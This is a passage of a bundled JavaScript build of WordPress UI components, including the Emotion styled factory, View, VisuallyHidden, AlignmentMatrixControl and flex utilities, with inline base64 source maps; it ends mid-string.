22972 return result.slice(start, end).split("\0").map(transform).join(delimiter2);
22973 }
22974 function replace2(input, re4, value) {
22975 if (re4 instanceof RegExp)
22976 return input.replace(re4, value);
22977 return re4.reduce(function(input2, re5) {
22978 return input2.replace(re5, value);
22979 }, input);
22980 }
22981
22982 // node_modules/dot-case/dist.es2015/index.js
22983 function dotCase(input, options2) {
22984 if (options2 === void 0) {
22985 options2 = {};
22986 }
22987 return noCase(input, __assign({ delimiter: "." }, options2));
22988 }
22989
22990 // node_modules/param-case/dist.es2015/index.js
22991 function paramCase(input, options2) {
22992 if (options2 === void 0) {
22993 options2 = {};
22994 }
22995 return dotCase(input, __assign({ delimiter: "-" }, options2));
22996 }
22997
22998 // packages/components/build-module/context/get-styled-class-name-from-key.mjs
22999 function getStyledClassName(namespace) {
23000 const kebab = paramCase(namespace);
23001 return `components-${kebab}`;
23002 }
23003 var getStyledClassNameFromKey = memize(getStyledClassName);
23004
23005 // packages/components/build-module/context/context-connect.mjs
23006 function contextConnect(Component9, namespace) {
23007 return _contextConnect(Component9, namespace, {
23008 forwardsRef: true
23009 });
23010 }
23011 function contextConnectWithoutRef(Component9, namespace) {
23012 return _contextConnect(Component9, namespace);
23013 }
23014 function _contextConnect(Component9, namespace, options2) {
23015 const WrappedComponent = options2?.forwardsRef ? (0, import_element16.forwardRef)(Component9) : Component9;
23016 if (typeof namespace === "undefined") {
23017 true ? (0, import_warning2.default)("contextConnect: Please provide a namespace") : void 0;
23018 }
23019 let mergedNamespace = WrappedComponent[CONNECT_STATIC_NAMESPACE] || [namespace];
23020 if (Array.isArray(namespace)) {
23021 mergedNamespace = [...mergedNamespace, ...namespace];
23022 }
23023 if (typeof namespace === "string") {
23024 mergedNamespace = [...mergedNamespace, namespace];
23025 }
23026 return Object.assign(WrappedComponent, {
23027 [CONNECT_STATIC_NAMESPACE]: [...new Set(mergedNamespace)],
23028 displayName: namespace,
23029 selector: `.${getStyledClassNameFromKey(namespace)}`
23030 });
23031 }
23032 function getConnectNamespace(Component9) {
23033 if (!Component9) {
23034 return [];
23035 }
23036 let namespaces = [];
23037 if (Component9[CONNECT_STATIC_NAMESPACE]) {
23038 namespaces = Component9[CONNECT_STATIC_NAMESPACE];
23039 }
23040 if (Component9.type && Component9.type[CONNECT_STATIC_NAMESPACE]) {
23041 namespaces = Component9.type[CONNECT_STATIC_NAMESPACE];
23042 }
23043 return namespaces;
23044 }
23045 function hasConnectNamespace(Component9, match4) {
23046 if (!Component9) {
23047 return false;
23048 }
23049 if (typeof match4 === "string") {
23050 return getConnectNamespace(Component9).includes(match4);
23051 }
23052 if (Array.isArray(match4)) {
23053 return match4.some((result) => getConnectNamespace(Component9).includes(result));
23054 }
23055 return false;
23056 }
23057
23058 // packages/components/build-module/context/use-context-system.mjs
23059 var import_warning3 = __toESM(require_warning(), 1);
23060
23061 // packages/components/build-module/context/utils.mjs
23062 function getNamespace(componentName) {
23063 return {
23064 [COMPONENT_NAMESPACE]: componentName
23065 };
23066 }
23067 function getConnectedNamespace() {
23068 return {
23069 [CONNECTED_NAMESPACE]: true
23070 };
23071 }
23072
23073 // packages/components/build-module/context/use-context-system.mjs
23074 function useContextSystem(props, namespace) {
23075 const contextSystemProps = useComponentsContext();
23076 if (typeof namespace === "undefined") {
23077 true ? (0, import_warning3.default)("useContextSystem: Please provide a namespace") : void 0;
23078 }
23079 const contextProps = contextSystemProps?.[namespace] || {};
23080 const finalComponentProps = {
23081 ...getConnectedNamespace(),
23082 ...getNamespace(namespace)
23083 };
23084 const {
23085 _overrides: overrideProps,
23086 ...otherContextProps
23087 } = contextProps;
23088 const initialMergedProps = Object.entries(otherContextProps).length ? Object.assign({}, otherContextProps, props) : props;
23089 const cx3 = useCx();
23090 const classes = cx3(getStyledClassNameFromKey(namespace), props.className);
23091 const rendered = typeof initialMergedProps.renderChildren === "function" ? initialMergedProps.renderChildren(initialMergedProps) : initialMergedProps.children;
23092 for (const key in initialMergedProps) {
23093 finalComponentProps[key] = initialMergedProps[key];
23094 }
23095 for (const key in overrideProps) {
23096 finalComponentProps[key] = overrideProps[key];
23097 }
23098 if (rendered !== void 0) {
23099 finalComponentProps.children = rendered;
23100 }
23101 finalComponentProps.className = classes;
23102 return finalComponentProps;
23103 }
23104
23105 // packages/components/build-module/visually-hidden/styles.mjs
23106 var visuallyHidden = {
23107 border: 0,
23108 clip: "rect(1px, 1px, 1px, 1px)",
23109 WebkitClipPath: "inset( 50% )",
23110 clipPath: "inset( 50% )",
23111 height: "1px",
23112 margin: "-1px",
23113 overflow: "hidden",
23114 padding: 0,
23115 position: "absolute",
23116 width: "1px",
23117 wordWrap: "normal"
23118 };
23119
23120 // node_modules/@emotion/styled/base/dist/emotion-styled-base.browser.esm.js
23121 var React9 = __toESM(require_react());
23122 init_emotion_is_prop_valid_esm();
23123 var isDevelopment4 = false;
23124 var testOmitPropsOnStringTag = isPropValid;
23125 var testOmitPropsOnComponent = function testOmitPropsOnComponent2(key) {
23126 return key !== "theme";
23127 };
23128 var getDefaultShouldForwardProp = function getDefaultShouldForwardProp2(tag) {
23129 return typeof tag === "string" && // 96 is one less than the char code
23130 // for "a" so this is checking that
23131 // it's a lowercase character
23132 tag.charCodeAt(0) > 96 ? testOmitPropsOnStringTag : testOmitPropsOnComponent;
23133 };
23134 var composeShouldForwardProps = function composeShouldForwardProps2(tag, options2, isReal) {
23135 var shouldForwardProp;
23136 if (options2) {
23137 var optionsShouldForwardProp = options2.shouldForwardProp;
23138 shouldForwardProp = tag.__emotion_forwardProp && optionsShouldForwardProp ? function(propName) {
23139 return tag.__emotion_forwardProp(propName) && optionsShouldForwardProp(propName);
23140 } : optionsShouldForwardProp;
23141 }
23142 if (typeof shouldForwardProp !== "function" && isReal) {
23143 shouldForwardProp = tag.__emotion_forwardProp;
23144 }
23145 return shouldForwardProp;
23146 };
23147 var Insertion3 = function Insertion4(_ref11) {
23148 var cache2 = _ref11.cache, serialized = _ref11.serialized, isStringTag = _ref11.isStringTag;
23149 registerStyles(cache2, serialized, isStringTag);
23150 useInsertionEffectAlwaysWithSyncFallback(function() {
23151 return insertStyles(cache2, serialized, isStringTag);
23152 });
23153 return null;
23154 };
23155 var createStyled = function createStyled2(tag, options2) {
23156 var isReal = tag.__emotion_real === tag;
23157 var baseTag = isReal && tag.__emotion_base || tag;
23158 var identifierName;
23159 var targetClassName;
23160 if (options2 !== void 0) {
23161 identifierName = options2.label;
23162 targetClassName = options2.target;
23163 }
23164 var shouldForwardProp = composeShouldForwardProps(tag, options2, isReal);
23165 var defaultShouldForwardProp = shouldForwardProp || getDefaultShouldForwardProp(baseTag);
23166 var shouldUseAs = !defaultShouldForwardProp("as");
23167 return function() {
23168 var args = arguments;
23169 var styles3 = isReal && tag.__emotion_styles !== void 0 ? tag.__emotion_styles.slice(0) : [];
23170 if (identifierName !== void 0) {
23171 styles3.push("label:" + identifierName + ";");
23172 }
23173 if (args[0] == null || args[0].raw === void 0) {
23174 styles3.push.apply(styles3, args);
23175 } else {
23176 var templateStringsArr = args[0];
23177 styles3.push(templateStringsArr[0]);
23178 var len = args.length;
23179 var i3 = 1;
23180 for (; i3 < len; i3++) {
23181 styles3.push(args[i3], templateStringsArr[i3]);
23182 }
23183 }
23184 var Styled = withEmotionCache(function(props, cache2, ref) {
23185 var FinalTag = shouldUseAs && props.as || baseTag;
23186 var className2 = "";
23187 var classInterpolations = [];
23188 var mergedProps = props;
23189 if (props.theme == null) {
23190 mergedProps = {};
23191 for (var key in props) {
23192 mergedProps[key] = props[key];
23193 }
23194 mergedProps.theme = React9.useContext(ThemeContext);
23195 }
23196 if (typeof props.className === "string") {
23197 className2 = getRegisteredStyles(cache2.registered, classInterpolations, props.className);
23198 } else if (props.className != null) {
23199 className2 = props.className + " ";
23200 }
23201 var serialized = serializeStyles(styles3.concat(classInterpolations), cache2.registered, mergedProps);
23202 className2 += cache2.key + "-" + serialized.name;
23203 if (targetClassName !== void 0) {
23204 className2 += " " + targetClassName;
23205 }
23206 var finalShouldForwardProp = shouldUseAs && shouldForwardProp === void 0 ? getDefaultShouldForwardProp(FinalTag) : defaultShouldForwardProp;
23207 var newProps = {};
23208 for (var _key in props) {
23209 if (shouldUseAs && _key === "as") continue;
23210 if (finalShouldForwardProp(_key)) {
23211 newProps[_key] = props[_key];
23212 }
23213 }
23214 newProps.className = className2;
23215 if (ref) {
23216 newProps.ref = ref;
23217 }
23218 return /* @__PURE__ */ React9.createElement(React9.Fragment, null, /* @__PURE__ */ React9.createElement(Insertion3, {
23219 cache: cache2,
23220 serialized,
23221 isStringTag: typeof FinalTag === "string"
23222 }), /* @__PURE__ */ React9.createElement(FinalTag, newProps));
23223 });
23224 Styled.displayName = identifierName !== void 0 ? identifierName : "Styled(" + (typeof baseTag === "string" ? baseTag : baseTag.displayName || baseTag.name || "Component") + ")";
23225 Styled.defaultProps = tag.defaultProps;
23226 Styled.__emotion_real = Styled;
23227 Styled.__emotion_base = baseTag;
23228 Styled.__emotion_styles = styles3;
23229 Styled.__emotion_forwardProp = shouldForwardProp;
23230 Object.defineProperty(Styled, "toString", {
23231 value: function value() {
23232 if (targetClassName === void 0 && isDevelopment4) {
23233 return "NO_COMPONENT_SELECTOR";
23234 }
23235 return "." + targetClassName;
23236 }
23237 });
23238 Styled.withComponent = function(nextTag, nextOptions) {
23239 var newStyled = createStyled2(nextTag, _extends({}, options2, nextOptions, {
23240 shouldForwardProp: composeShouldForwardProps(Styled, nextOptions, true)
23241 }));
23242 return newStyled.apply(void 0, styles3);
23243 };
23244 return Styled;
23245 };
23246 };
23247
23248 // packages/components/build-module/view/component.mjs
23249 var import_element17 = __toESM(require_element(), 1);
23250 var import_jsx_runtime46 = __toESM(require_jsx_runtime(), 1);
23251 var PolymorphicDiv = /* @__PURE__ */ createStyled("div", false ? {
23252 target: "e19lxcc00"
23253 } : {
23254 target: "e19lxcc00",
23255 label: "PolymorphicDiv"
23256 })(false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImNvbXBvbmVudC50c3giXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBZWlDIiwiZmlsZSI6ImNvbXBvbmVudC50c3giLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG5cbi8qKlxuICogV29yZFByZXNzIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBmb3J3YXJkUmVmIH0gZnJvbSAnQHdvcmRwcmVzcy9lbGVtZW50JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBXb3JkUHJlc3NDb21wb25lbnRQcm9wcyB9IGZyb20gJy4uL2NvbnRleHQnO1xuXG5jb25zdCBQb2x5bW9ycGhpY0RpdiA9IHN0eWxlZC5kaXZgYDtcblxuZnVuY3Rpb24gVW5mb3J3YXJkZWRWaWV3PCBUIGV4dGVuZHMgUmVhY3QuRWxlbWVudFR5cGUgPSAnZGl2JyA+KFxuXHR7IGFzLCAuLi5yZXN0UHJvcHMgfTogV29yZFByZXNzQ29tcG9uZW50UHJvcHM8IHt9LCBUID4sXG5cdHJlZjogUmVhY3QuRm9yd2FyZGVkUmVmPCBhbnkgPlxuKSB7XG5cdHJldHVybiA8UG9seW1vcnBoaWNEaXYgYXM9eyBhcyB9IHJlZj17IHJlZiB9IHsgLi4ucmVzdFByb3BzIH0gLz47XG59XG5cbi8qKlxuICogYFZpZXdgIGlzIGEgY29yZSBjb21wb25lbnQgdGhhdCByZW5kZXJzIGV2ZXJ5dGhpbmcgaW4gdGhlIGxpYnJhcnkuXG4gKiBJdCBpcyB0aGUgcHJpbmNpcGxlIGNvbXBvbmVudCBpbiB0aGUgZW50aXJlIGxpYnJhcnkuXG4gKlxuICogYGBganN4XG4gKiBpbXBvcnQgeyBWaWV3IH0gZnJvbSBgQHdvcmRwcmVzcy9jb21wb25lbnRzYDtcbiAqXG4gKiBmdW5jdGlvbiBFeGFtcGxlKCkge1xuICogXHRyZXR1cm4gKFxuICogXHRcdDxWaWV3PlxuICogXHRcdFx0IENvZGUgaXMgUG9ldHJ5XG4gKiBcdFx0PC9WaWV3PlxuICogXHQpO1xuICogfVxuICogYGBgXG4gKi9cbmV4cG9ydCBjb25zdCBWaWV3ID0gT2JqZWN0LmFzc2lnbiggZm9yd2FyZFJlZiggVW5mb3J3YXJkZWRWaWV3ICksIHtcblx0c2VsZWN0b3I6ICcuY29tcG9uZW50cy12aWV3Jyxcbn0gKTtcblxuZXhwb3J0IGRlZmF1bHQgVmlldztcbiJdfQ== */");
23257 function UnforwardedView({
23258 as,
23259 ...restProps
23260 }, ref) {
23261 return /* @__PURE__ */ (0, import_jsx_runtime46.jsx)(PolymorphicDiv, {
23262 as,
23263 ref,
23264 ...restProps
23265 });
23266 }
23267 var View = Object.assign((0, import_element17.forwardRef)(UnforwardedView), {
23268 selector: ".components-view"
23269 });
23270 var component_default = View;
23271
23272 // packages/components/build-module/visually-hidden/component.mjs
23273 var import_jsx_runtime47 = __toESM(require_jsx_runtime(), 1);
23274 function UnconnectedVisuallyHidden(props, forwardedRef) {
23275 const {
23276 style: styleProp,
23277 ...contextProps
23278 } = useContextSystem(props, "VisuallyHidden");
23279 return /* @__PURE__ */ (0, import_jsx_runtime47.jsx)(component_default, {
23280 ref: forwardedRef,
23281 ...contextProps,
23282 style: {
23283 ...visuallyHidden,
23284 ...styleProp || {}
23285 }
23286 });
23287 }
23288 var VisuallyHidden3 = contextConnect(UnconnectedVisuallyHidden, "VisuallyHidden");
23289 var component_default2 = VisuallyHidden3;
23290
23291 // packages/components/build-module/alignment-matrix-control/utils.mjs
23292 var import_i18n3 = __toESM(require_i18n(), 1);
23293 var GRID = [["top left", "top center", "top right"], ["center left", "center center", "center right"], ["bottom left", "bottom center", "bottom right"]];
23294 var ALIGNMENT_LABEL = {
23295 "top left": (0, import_i18n3.__)("Top Left"),
23296 "top center": (0, import_i18n3.__)("Top Center"),
23297 "top right": (0, import_i18n3.__)("Top Right"),
23298 "center left": (0, import_i18n3.__)("Center Left"),
23299 "center center": (0, import_i18n3.__)("Center"),
23300 center: (0, import_i18n3.__)("Center"),
23301 "center right": (0, import_i18n3.__)("Center Right"),
23302 "bottom left": (0, import_i18n3.__)("Bottom Left"),
23303 "bottom center": (0, import_i18n3.__)("Bottom Center"),
23304 "bottom right": (0, import_i18n3.__)("Bottom Right")
23305 };
23306 var ALIGNMENTS = GRID.flat();
23307 function normalize(value) {
23308 const normalized = value === "center" ? "center center" : value;
23309 const transformed = normalized?.replace("-", " ");
23310 return ALIGNMENTS.includes(transformed) ? transformed : void 0;
23311 }
23312 function getItemId(prefixId, value) {
23313 const normalized = normalize(value);
23314 if (!normalized) {
23315 return;
23316 }
23317 const id3 = normalized.replace(" ", "-");
23318 return `${prefixId}-${id3}`;
23319 }
23320 function getItemValue(prefixId, id3) {
23321 const value = id3?.replace(prefixId + "-", "");
23322 return normalize(value);
23323 }
23324 function getAlignmentIndex(alignment = "center") {
23325 const normalized = normalize(alignment);
23326 if (!normalized) {
23327 return void 0;
23328 }
23329 const index2 = ALIGNMENTS.indexOf(normalized);
23330 return index2 > -1 ? index2 : void 0;
23331 }
23332
23333 // packages/components/build-module/alignment-matrix-control/cell.mjs
23334 var import_jsx_runtime48 = __toESM(require_jsx_runtime(), 1);
23335 if (typeof document !== "undefined" && !document.head.querySelector("style[data-wp-hash='4c2e860238']")) {
23336 const style2 = document.createElement("style");
23337 style2.setAttribute("data-wp-hash", "4c2e860238");
23338 style2.appendChild(document.createTextNode("._02e2af5803bf5bda__grid-container{aspect-ratio:1;border:1px solid #0000;border-radius:4px;box-sizing:border-box;cursor:pointer;direction:ltr;display:grid;grid-template-columns:repeat(3,1fr);grid-template-rows:repeat(3,1fr);outline:none}.c421f8ed08c23077__grid-row{box-sizing:border-box;display:grid;grid-column:1/-1;grid-template-columns:repeat(3,1fr)}._3af769f755097fdb__cell{align-items:center;appearance:none;border:none;box-sizing:border-box;display:flex;justify-content:center;margin:0;outline:none;padding:0;position:relative}._37ef12d4fb6d6131__point{aspect-ratio:1;border:3px solid;box-sizing:border-box;color:var(--wp-components-color-gray-400,#ccc);contain:strict;display:block;margin:auto;width:6px}._3af769f755097fdb__cell[data-active-item] ._37ef12d4fb6d6131__point{color:var(--wp-components-color-foreground,#1e1e1e);transform:scale(1.6666666667)}._3af769f755097fdb__cell:not([data-active-item]):hover ._37ef12d4fb6d6131__point{color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}._3af769f755097fdb__cell[data-focus-visible] ._37ef12d4fb6d6131__point{outline:1px solid var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline-offset:1px}@media not (prefers-reduced-motion){._37ef12d4fb6d6131__point{transition-duration:.12s;transition-property:color,transform;transition-timing-function:linear}}"));
23339 document.head.appendChild(style2);
23340 }
23341 var style_module_default = { "grid-container": "_02e2af5803bf5bda__grid-container", "grid-row": "c421f8ed08c23077__grid-row", "cell": "_3af769f755097fdb__cell", "point": "_37ef12d4fb6d6131__point" };
23342 function Cell({
23343 id: id3,
23344 value,
23345 ...props
23346 }) {
23347 return /* @__PURE__ */ (0, import_jsx_runtime48.jsx)(tooltip_default, {
23348 text: ALIGNMENT_LABEL[value],
23349 children: /* @__PURE__ */ (0, import_jsx_runtime48.jsxs)(Composite22.Item, {
23350 id: id3,
23351 render: /* @__PURE__ */ (0, import_jsx_runtime48.jsx)("span", {
23352 ...props,
23353 className: clsx_default(style_module_default.cell, props.className),
23354 role: "gridcell"
23355 }),
23356 children: [/* @__PURE__ */ (0, import_jsx_runtime48.jsx)(component_default2, {
23357 children: value
23358 }), /* @__PURE__ */ (0, import_jsx_runtime48.jsx)("span", {
23359 className: style_module_default.point,
23360 role: "presentation"
23361 })]
23362 })
23363 });
23364 }
23365
23366 // packages/components/build-module/alignment-matrix-control/icon.mjs
23367 var import_primitives = __toESM(require_primitives(), 1);
23368 var import_jsx_runtime49 = __toESM(require_jsx_runtime(), 1);
23369 var BASE_SIZE = 24;
23370 var GRID_CELL_SIZE = 7;
23371 var GRID_PADDING = (BASE_SIZE - 3 * GRID_CELL_SIZE) / 2;
23372 var DOT_SIZE = 2;
23373 var DOT_SIZE_SELECTED = 4;
23374 function AlignmentMatrixControlIcon({
23375 className: className2,
23376 disablePointerEvents = true,
23377 size: size3,
23378 width,
23379 height,
23380 style: style2 = {},
23381 value = "center",
23382 ...props
23383 }) {
23384 return /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(import_primitives.SVG, {
23385 xmlns: "http://www.w3.org/2000/svg",
23386 viewBox: `0 0 ${BASE_SIZE} ${BASE_SIZE}`,
23387 width: size3 ?? width ?? BASE_SIZE,
23388 height: size3 ?? height ?? BASE_SIZE,
23389 role: "presentation",
23390 className: clsx_default("component-alignment-matrix-control-icon", className2),
23391 style: {
23392 pointerEvents: disablePointerEvents ? "none" : void 0,
23393 ...style2
23394 },
23395 ...props,
23396 children: ALIGNMENTS.map((align, index2) => {
23397 const dotSize = getAlignmentIndex(value) === index2 ? DOT_SIZE_SELECTED : DOT_SIZE;
23398 return /* @__PURE__ */ (0, import_jsx_runtime49.jsx)(import_primitives.Rect, {
23399 x: GRID_PADDING + index2 % 3 * GRID_CELL_SIZE + (GRID_CELL_SIZE - dotSize) / 2,
23400 y: GRID_PADDING + Math.floor(index2 / 3) * GRID_CELL_SIZE + (GRID_CELL_SIZE - dotSize) / 2,
23401 width: dotSize,
23402 height: dotSize,
23403 fill: "currentColor"
23404 }, align);
23405 })
23406 });
23407 }
23408 var icon_default = AlignmentMatrixControlIcon;
23409
23410 // packages/components/build-module/alignment-matrix-control/index.mjs
23411 var import_jsx_runtime50 = __toESM(require_jsx_runtime(), 1);
23412 if (typeof document !== "undefined" && !document.head.querySelector("style[data-wp-hash='4c2e860238']")) {
23413 const style2 = document.createElement("style");
23414 style2.setAttribute("data-wp-hash", "4c2e860238");
23415 style2.appendChild(document.createTextNode("._02e2af5803bf5bda__grid-container{aspect-ratio:1;border:1px solid #0000;border-radius:4px;box-sizing:border-box;cursor:pointer;direction:ltr;display:grid;grid-template-columns:repeat(3,1fr);grid-template-rows:repeat(3,1fr);outline:none}.c421f8ed08c23077__grid-row{box-sizing:border-box;display:grid;grid-column:1/-1;grid-template-columns:repeat(3,1fr)}._3af769f755097fdb__cell{align-items:center;appearance:none;border:none;box-sizing:border-box;display:flex;justify-content:center;margin:0;outline:none;padding:0;position:relative}._37ef12d4fb6d6131__point{aspect-ratio:1;border:3px solid;box-sizing:border-box;color:var(--wp-components-color-gray-400,#ccc);contain:strict;display:block;margin:auto;width:6px}._3af769f755097fdb__cell[data-active-item] ._37ef12d4fb6d6131__point{color:var(--wp-components-color-foreground,#1e1e1e);transform:scale(1.6666666667)}._3af769f755097fdb__cell:not([data-active-item]):hover ._37ef12d4fb6d6131__point{color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}._3af769f755097fdb__cell[data-focus-visible] ._37ef12d4fb6d6131__point{outline:1px solid var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline-offset:1px}@media not (prefers-reduced-motion){._37ef12d4fb6d6131__point{transition-duration:.12s;transition-property:color,transform;transition-timing-function:linear}}"));
23416 document.head.appendChild(style2);
23417 }
23418 var style_module_default2 = { "grid-container": "_02e2af5803bf5bda__grid-container", "grid-row": "c421f8ed08c23077__grid-row", "cell": "_3af769f755097fdb__cell", "point": "_37ef12d4fb6d6131__point" };
23419 function UnforwardedAlignmentMatrixControl({
23420 className: className2,
23421 id: id3,
23422 label = (0, import_i18n4.__)("Alignment Matrix Control"),
23423 defaultValue: defaultValue2 = "center center",
23424 value,
23425 onChange,
23426 width = 92,
23427 ...props
23428 }) {
23429 const baseId = (0, import_compose2.useInstanceId)(UnforwardedAlignmentMatrixControl, "alignment-matrix-control", id3);
23430 const setActiveId = (0, import_element18.useCallback)((nextActiveId) => {
23431 const nextValue = getItemValue(baseId, nextActiveId);
23432 if (nextValue) {
23433 onChange?.(nextValue);
23434 }
23435 }, [baseId, onChange]);
23436 const classes = clsx_default("component-alignment-matrix-control", style_module_default2["grid-container"], className2);
23437 return /* @__PURE__ */ (0, import_jsx_runtime50.jsx)(Composite22, {
23438 defaultActiveId: getItemId(baseId, defaultValue2),
23439 activeId: getItemId(baseId, value),
23440 setActiveId,
23441 rtl: (0, import_i18n4.isRTL)(),
23442 render: /* @__PURE__ */ (0, import_jsx_runtime50.jsx)("div", {
23443 ...props,
23444 className: classes,
23445 "aria-label": label,
23446 id: baseId,
23447 role: "grid",
23448 style: {
23449 width: `${width}px`
23450 }
23451 }),
23452 children: GRID.map((cells, index2) => /* @__PURE__ */ (0, import_jsx_runtime50.jsx)(Composite22.Row, {
23453 render: /* @__PURE__ */ (0, import_jsx_runtime50.jsx)("div", {
23454 className: style_module_default2["grid-row"],
23455 role: "row"
23456 }),
23457 children: cells.map((cell) => /* @__PURE__ */ (0, import_jsx_runtime50.jsx)(Cell, {
23458 id: getItemId(baseId, cell),
23459 value: cell
23460 }, cell))
23461 }, index2))
23462 });
23463 }
23464 var AlignmentMatrixControl = Object.assign(UnforwardedAlignmentMatrixControl, {
23465 /**
23466 * Render an alignment matrix as an icon.
23467 *
23468 * ```jsx
23469 * import { AlignmentMatrixControl } from '@wordpress/components';
23470 *
23471 * <Icon icon={<AlignmentMatrixControl.Icon value="top left" />} />
23472 * ```
23473 */
23474 Icon: Object.assign(icon_default, {
23475 displayName: "AlignmentMatrixControl.Icon"
23476 })
23477 });
23478 var alignment_matrix_control_default = AlignmentMatrixControl;
23479
23480 // packages/components/build-module/animate/index.mjs
23481 function getDefaultOrigin(type) {
23482 return type === "appear" ? "top" : "left";
23483 }
23484 function getAnimateClassName(options2) {
23485 if (options2.type === "loading") {
23486 return "components-animate__loading";
23487 }
23488 const {
23489 type,
23490 origin = getDefaultOrigin(type)
23491 } = options2;
23492 if (type === "appear") {
23493 const [yAxis, xAxis = "center"] = origin.split(" ");
23494 return clsx_default("components-animate__appear", {
23495 ["is-from-" + xAxis]: xAxis !== "center",
23496 ["is-from-" + yAxis]: yAxis !== "middle"
23497 });
23498 }
23499 if (type === "slide-in") {
23500 return clsx_default("components-animate__slide-in", "is-from-" + origin);
23501 }
23502 return void 0;
23503 }
23504 function Animate({
23505 type,
23506 options: options2 = {},
23507 children
23508 }) {
23509 return children({
23510 className: getAnimateClassName({
23511 type,
23512 ...options2
23513 })
23514 });
23515 }
23516 var animate_default = Animate;
23517
23518 // packages/components/build-module/angle-picker-control/index.mjs
23519 var import_element38 = __toESM(require_element(), 1);
23520 var import_i18n6 = __toESM(require_i18n(), 1);
23521
23522 // packages/components/build-module/flex/flex/hook.mjs
23523 var import_element20 = __toESM(require_element(), 1);
23524 var import_deprecated2 = __toESM(require_deprecated(), 1);
23525
23526 // packages/components/build-module/utils/use-responsive-value.mjs
23527 var import_element19 = __toESM(require_element(), 1);
23528 var breakpoints = ["40em", "52em", "64em"];
23529 var useBreakpointIndex = (options2 = {}) => {
23530 const {
23531 defaultIndex = 0
23532 } = options2;
23533 if (typeof defaultIndex !== "number") {
23534 throw new TypeError(`Default breakpoint index should be a number. Got: ${defaultIndex}, ${typeof defaultIndex}`);
23535 } else if (defaultIndex < 0 || defaultIndex > breakpoints.length - 1) {
23536 throw new RangeError(`Default breakpoint index out of range. Theme has ${breakpoints.length} breakpoints, got index ${defaultIndex}`);
23537 }
23538 const [value, setValue] = (0, import_element19.useState)(defaultIndex);
23539 (0, import_element19.useEffect)(() => {
23540 const getIndex = () => breakpoints.filter((bp) => {
23541 return typeof window !== "undefined" ? window.matchMedia(`screen and (min-width: ${bp})`).matches : false;
23542 }).length;
23543 const onResize = () => {
23544 const newValue = getIndex();
23545 if (value !== newValue) {
23546 setValue(newValue);
23547 }
23548 };
23549 onResize();
23550 if (typeof window !== "undefined") {
23551 window.addEventListener("resize", onResize);
23552 }
23553 return () => {
23554 if (typeof window !== "undefined") {
23555 window.removeEventListener("resize", onResize);
23556 }
23557 };
23558 }, [value]);
23559 return value;
23560 };
23561 function useResponsiveValue(values, options2 = {}) {
23562 const index2 = useBreakpointIndex(options2);
23563 if (!Array.isArray(values) && typeof values !== "function") {
23564 return values;
23565 }
23566 const array = values || [];
23567 return array[index2 >= array.length ? array.length - 1 : index2];
23568 }
23569
23570 // packages/components/build-module/utils/space.mjs
23571 var GRID_BASE = "4px";
23572 function space(value) {
23573 if (typeof value === "undefined") {
23574 return void 0;
23575 }
23576 if (!value) {
23577 return "0";
23578 }
23579 const asInt = typeof value === "number" ? value : Number(value);
23580 if (typeof window !== "undefined" && window.CSS?.supports?.("margin", value.toString()) || Number.isNaN(asInt)) {
23581 return value.toString();
23582 }
23583 return `calc(${GRID_BASE} * ${value})`;
23584 }
23585
23586 // packages/components/build-module/flex/styles.mjs
23587 function _EMOTION_STRINGIFIED_CSS_ERROR__2() {
23588 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
23589 }
23590 var Flex = false ? {
23591 name: "zjik7",
23592 styles: "display:flex"
23593 } : {
23594 name: "a57899-Flex",
23595 styles: "display:flex;label:Flex;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFLdUIiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG5leHBvcnQgY29uc3QgRmxleCA9IGNzc2Bcblx0ZGlzcGxheTogZmxleDtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtID0gY3NzYFxuXHRkaXNwbGF5OiBibG9jaztcblx0bWF4LWhlaWdodDogMTAwJTtcblx0bWF4LXdpZHRoOiAxMDAlO1xuXHRtaW4taGVpZ2h0OiAwO1xuXHRtaW4td2lkdGg6IDA7XG5gO1xuXG5leHBvcnQgY29uc3QgYmxvY2sgPSBjc3NgXG5cdGZsZXg6IDE7XG5gO1xuXG4vKipcbiAqIFdvcmthcm91bmQgdG8gb3B0aW1pemUgRE9NIHJlbmRlcmluZy5cbiAqIFdlJ2xsIGVuaGFuY2UgYWxpZ25tZW50IHdpdGggbmFpdmUgcGFyZW50IGZsZXggYXNzdW1wdGlvbnMuXG4gKlxuICogVHJhZGUtb2ZmOlxuICogRmFyIGxlc3MgRE9NIGxlc3MuIEhvd2V2ZXIsIFVJIHJlbmRlcmluZyBpcyBub3QgYXMgcmVsaWFibGUuXG4gKi9cblxuLyoqXG4gKiBJbXByb3ZlcyBzdGFiaWxpdHkgb2Ygd2lkdGgvaGVpZ2h0IHJlbmRlcmluZy5cbiAqIGh0dHBzOi8vZ2l0aHViLmNvbS9JdHNKb25RL2cyL3B1bGwvMTQ5XG4gKi9cbmV4cG9ydCBjb25zdCBJdGVtc0NvbHVtbiA9IGNzc2Bcblx0PiAqIHtcblx0XHRtaW4taGVpZ2h0OiAwO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbXNSb3cgPSBjc3NgXG5cdD4gKiB7XG5cdFx0bWluLXdpZHRoOiAwO1xuXHR9XG5gO1xuIl